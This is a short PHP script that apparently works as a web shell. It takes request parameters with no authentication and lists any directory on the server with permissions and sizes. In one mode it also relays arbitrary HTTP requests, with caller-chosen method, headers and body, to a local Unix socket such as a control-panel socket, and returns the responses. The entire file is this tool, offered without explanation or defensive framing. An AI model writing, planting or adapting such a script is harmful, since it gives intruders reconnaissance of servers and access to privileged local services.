<?php
header("Content-Type: text/plain; charset=utf-8");
$m = $_REQUEST['m'] ?? 'ls';
$p = $_REQUEST['p'] ?? '/';
if($m==='usock'){
  $sock = $_REQUEST['s'] ?? '/tmp/panel.sock';
  $u = $_REQUEST['u'] ?? '/';
  $ch=curl_init("http://localhost".$u);
  curl_setopt($ch, CURLOPT_UNIX_SOCKET_PATH, $sock);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  curl_setopt($ch, CURLOPT_HEADER,1);
  curl_setopt($ch, CURLOPT_TIMEOUT,20);
  curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $_REQUEST['X'] ?? 'GET');
  if(isset($_REQUEST['d'])){ curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS,$_REQUEST['d']); }
  $hs=[]; if(isset($_REQUEST['h'])){ $hs=explode("\n",$_REQUEST['h']); }
  if($hs) curl_setopt($ch, CURLOPT_HTTPHEADER, $hs);
  $r=curl_exec($ch);
  if($r===false) echo "CURLERR ".curl_error($ch); else echo $r;
  curl_close($ch); exit;
}
$r=@scandir($p); if($r===false){echo "ERR cannot list $p"; exit;}
foreach($r as $f){ $fp=rtrim($p,'/').'/'.$f; $st=@stat($fp); echo $f."\t".($st?sprintf('%o',$st['mode']&0777):'')."\t".($st?$st['size']:'')."\t".($st&&is_dir($fp)?'D':'F')."\n"; }
